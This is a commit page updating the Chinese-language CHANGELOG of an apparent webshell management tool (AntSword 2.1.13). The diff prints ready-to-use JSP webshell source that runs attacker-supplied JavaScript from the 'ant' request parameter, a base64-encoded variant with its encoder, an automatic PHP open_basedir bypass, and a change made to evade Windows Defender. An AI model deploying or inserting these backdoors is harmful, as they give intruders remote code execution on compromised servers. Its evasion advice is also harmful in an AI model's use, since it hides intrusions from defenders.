Commit 845094ec authored by Medicean's avatar Medicean

update CHANGELOG

parent 4ba50977
...@@ -4,13 +4,104 @@ ...@@ -4,13 +4,104 @@
## `2.1.13` ## `2.1.13`
### 核心
* 新增 JSPJS Shell 类型 (Author: @yzddMr6)
> 基于 js 引擎的 jsp 一句话类型, jdk >= 6
> 相较于 jsp defineClass 实现,该方式的数据包大小明显小了不少
设计思路请参考: https://xz.aliyun.com/t/9715
> 值得一提的是,JSPJS 类型可以通过「迂回」的方式去「直接使用」原来的 JSP 类型 WebShell, 留给大家去探索了
**请耐心看完下面的 Note**
目前该类型默认生成的 WebShell 如下:
```jsp
<%
try {
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("ant"));
} catch (Exception e) {
out.println("Error:// "+e.toString());
}
%>
```
在流量层上和 PHP 最基础的WebShell `<?php eval($_POST['ant']);?>` 一样具有明显特征,不建议使用, 请配合自定义编码器进行:
eg: b64pass 编码器
```js
'use strict';
module.exports = (pwd, data) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
```
对应 WebShell 如下:
```jsp
<%!
public byte[] base64Decode(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
%>
<%
try {
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(new String(base64Decode(request.getParameter("ant"))));
} catch (Exception e) {
out.println("Error:// "+e.toString());
}
%>
```
请自行对照最基础的 WebShell 样例自由发挥 :)
* PHP/PHP4 类型增加 Bypass open_basedir, 自动尝试
> 利用的是 `chdir('..');` 方式, 仅在目标配置了 open_basedir 后才会自动尝试
**该功能会影响之前版本 PHP Bypass DisableFunc 插件, 请及时更新插件**
### 虚拟终端
* 虚拟终端显示文字样式调亮(thx @Nearg1e 帮我们暗中收集调研了一波需求)
* 终端执行命令路径分割符由固定的`[S][E]`改为随机字符串
> 别问, 要问就去问 Windows Defender
### 后端模块 ### 后端模块
* 修复 multipart 发包方式下, 编码器中 data 内容不为字符串时异常 * 修复 multipart 发包方式下, 编码器中 data 内容不为字符串时异常
eg: eg:
``` ```js
'use strict'; 'use strict';
module.exports = (pwd, data) => { module.exports = (pwd, data) => {
...@@ -21,6 +112,11 @@ module.exports = (pwd, data) => { ...@@ -21,6 +112,11 @@ module.exports = (pwd, data) => {
} }
``` ```
### 插件相关
* ExecuteScript 支持 JSPJS 类型
* GenShell 支持 JSPJS 类型 Shell 生成
## 2021/05/15 `v(2.1.12)` ## 2021/05/15 `v(2.1.12)`
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment